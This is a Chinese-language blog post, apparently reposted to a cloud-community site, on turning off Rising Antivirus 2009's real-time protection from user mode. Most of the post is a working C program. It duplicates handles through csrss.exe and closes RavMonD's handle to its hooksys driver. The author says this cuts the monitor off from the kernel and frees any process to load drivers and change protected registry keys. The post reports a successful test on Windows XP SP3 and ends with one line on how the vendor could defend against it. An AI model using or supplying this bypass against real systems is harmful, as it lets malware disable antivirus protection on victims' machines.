閱讀347 返回首頁    go 阿裏雲 go 技術社區[雲棲]


用戶層關閉瑞星2009殺毒軟件安全保護

我寫這個純粹是hacker精神,如果被濫用做病毒木馬一類的邋遢東東,可跟偶沒關係哦。

 

原理very簡單,我發現瑞星監控主要在RavMonD進程中,如果打破其與內核的聯係,

瑞星監控功能就無法正常工作了,怎麼打破聯係呢?如果是進內核的話當然有很多的辦法,

從而沒有挑戰性了況且RavMonD會阻止用戶進程去加載驅動或者動注冊表的關鍵地方,

比如run子鍵下麵上測試代碼:

 

int main(int argc,char *argv[])
{
    if(argc != 4)
        puts("usage ccon csrss.pid prmd.handle hooksys.handle");
    else
    {
        int pid = atoi(argv[1]);
        int hprmd = atoi(argv[2]);
        int hobj = atoi(argv[3]);
      
        if(!SetDebugPrivilege(true))
            puts("SetDebugPrivilege Failed!");
        HANDLE hcs = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
        if(!hcs)
        {
            puts("Open Csrss.exe Failed");
            PrintErr(GetLastError());
        }
        else //直接打開RavMonD進程會失敗的,so采用迂回戰術
        {

            HANDLE hprmd_loc;
            if(!DuplicateHandle(hcs,(HANDLE)hprmd,GetCurrentProcess(),/
                &hprmd_loc,PROCESS_ALL_ACCESS,false,0))
            {
                puts("Get hprmd_loc Failed!");
                PrintErr(GetLastError());
            }
            else //關閉hooksys的句柄,打破其與內核的聯係
            {
                HANDLE hobj_loc;
                if(!DuplicateHandle(hprmd_loc,(HANDLE)hobj,/
                    GetCurrentProcess(),&hobj_loc,0,false,/
                    DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS))
                {
                    puts("Get hobj_loc Failed!");
                    PrintErr(GetLastError());
                }
                else
                {
                    if(!CloseHandle(hobj_loc))
                    {
                        puts("Close hobj_loc Failed");
                    }
                    else
                        puts("We Success Finally!!!");
                }
            }
        }
    }
    return 0;
}

 

打破瑞星監控與內核的關聯之後,用戶進程可以任意加載驅動程序進內核或者篡改注冊表

中的關鍵內容,我測試了一下,雖然第一次修改注冊表中的監控內容時瑞星還是會提示用

戶是否允許修改,但是這時即使選擇否,同樣可以修改成功,而且以後的修改瑞星不會再

提示了。


其實防守起來也很容易,瑞星隻要不讓我們在ring3下取到hooksys的句柄就行了,當然

仍然防不住內核中的攻擊,進入ring0還是可以為所欲為。


我的測試環境 windows xp sp3 + 瑞星殺毒2009 21.49.14 測試成功

最後更新:2017-04-02 03:42:38

  上一篇:go 策略模式
  下一篇:go 多核時代:並行程序設計探討(4)——Windows和Linux對決(進程間通信)